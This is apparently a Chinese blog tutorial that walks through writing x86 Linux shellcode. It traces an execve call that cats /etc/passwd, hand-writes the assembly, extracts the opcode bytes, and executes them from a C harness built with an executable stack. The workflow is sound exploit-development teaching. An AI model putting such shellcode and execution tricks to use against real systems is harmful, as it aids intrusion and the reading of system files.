0%

Create A Simple Linux Shellcode

这里,学习编写简单的Linux Shellcode。本机的系统内核版本如下:

shellcode

利用execve函数来打印/etc/passwd的内容。

来看一下execve函数的原型:https://man7.org/linux/man-pages/man2/execve.2.html

shellcode

看一下具体的c语言实现:

1
2
3
4
5
6
7
8
9
#include <unistd.h>
main()
{
char *ls[3];
ls[0] = "/bin/cat";
ls[1] = "/etc/passwd";
ls[2] = NULL;
execve(ls[0],ls,NULL);
}

这个小程序实现的功能是查看/etc/passwd的内容。

编译程序(看有的为了反汇编方便,会静态编译程序,我对比了一下,差别不是很大)

1
gcc -g -o list list.c

先弄明白整个程序的执行过程,开启gdb调试。

反汇编main函数:

shellcode

(main+68)下断点,然后运行程序。

shellcode

查看此时eip的值,指定指向调用execve函数。

shellcode

反汇编execve函数:

shellcode

(execve+18)处下断点,继续跟进。

可以发现内部通过call DWORT PTR gs:0x10执行系统调用中断,进入系统调用。执行__kernel_vsyscall函数。

shellcode

查看一下此时各寄存器的值。

shellcode

这里,eax保存的是execve函数的系统调用号,ebx保存的是execve函数的第二个参数,ecx保存的是execve函数的第三个参数,edx的值为0

注意后续的两条指令,sysenterint 0x80。通过80中断(软中断)进入系统调用的方式是Linux 2.6之前的做法。指令sysenter是在奔腾(R) II处理器上引入的“快速系统调用”功能的一部分。指令sysenter进行过专门的优化,能够以最佳性能转换到保护环 0(CPL 0)sysenterint 0x80的替代品,实现相同的功能。这里稍微有点疑问,为什么会连两条中断进入系统调用的指令,难道现在优先用第一条,如果不行再第二条?

32位系统里面,execve函数的系统调用号可以通过如下方式查询:

1
cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep execve

shellcode

注意:以上ecx的值其实是一个二阶指针。具体可以看下面:

shellcode

到目前为止,程序的整个运行过程基本搞清楚了。现在来写一个汇编实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
section .text
global _start
_start:
xor eax, eax
mov edx, eax
push edx
push 0x7461632f
push 0x6e69622f
mov ebx,esp
push edx
push 0x64777373
push 0x61702f2f
push 0x6374652f
mov ecx,esp
push edx
push ecx
push ebx
mov ecx,esp
mov al,0x0b
int 0x80

上面这段代码里面,注意/bin/cat/etc/passwd都是按照四个字符一组进行分割,转换成16进制,压入栈中。linux有个地方很有意思/bin/cat/bin//cat最后解析出来是一样的。这样四个字符一组的时候,出现空缺的字符可以用/代替,毕竟不会影响最后的解析。还要注意大小端的问题。

编译:

1
nasm -f elf32 call_execve.asm

链接:

1
ld -m elf_i386 -o call_execve call_execve.o

执行效果如下:

shellcode

现在,来提取shellcode。参考:https://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump

1
objdump -d ./call_execve|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

shellcode

最后,测试一下。这里用到了函数指针的概念。

1
2
3
4
5
6
7
8
#include <stdio.h>
const char
shellcode[]="\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80";
int main()
{
(*(void (*)()) shellcode)();
return 0;
}

这里会出现一个问题,编译之后运行会出现segmentation fault。这个错误的出现与内核版本有关,解决办法可以参考:https://medium.com/csg-govtech/why-doesnt-my-shellcode-work-anymore-136ce179643f

简而言之,就是把全局变量变为局部变量。我发现改完之后直接编译,运行还是会出错。发现需要编译的时候加上-z execstack,最终才能正常运行。

最终的测试代码如下:

1
2
3
4
5
6
7
#include<stdio.h>
#include<string.h>
int main(void)
{
unsigned char shellcode[] = "\x31\xc0\x89\xc2\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\x52\x51\x53\x89\xe1\xb0\x0b\xcd\x80";
(*(void(*)()) shellcode)();
}

编译方式如下:

1
gcc -z execstack -g customshellcode.c -o customshellcode

shellcode

最终,运行成功:

shellcode

参考:

1.https://www.cnblogs.com/LittleHann/p/4111692.html

2.http://cybersecurity.ustc.edu.cn/ns/ns09.pdf

3.https://www.anquanke.com/post/id/216207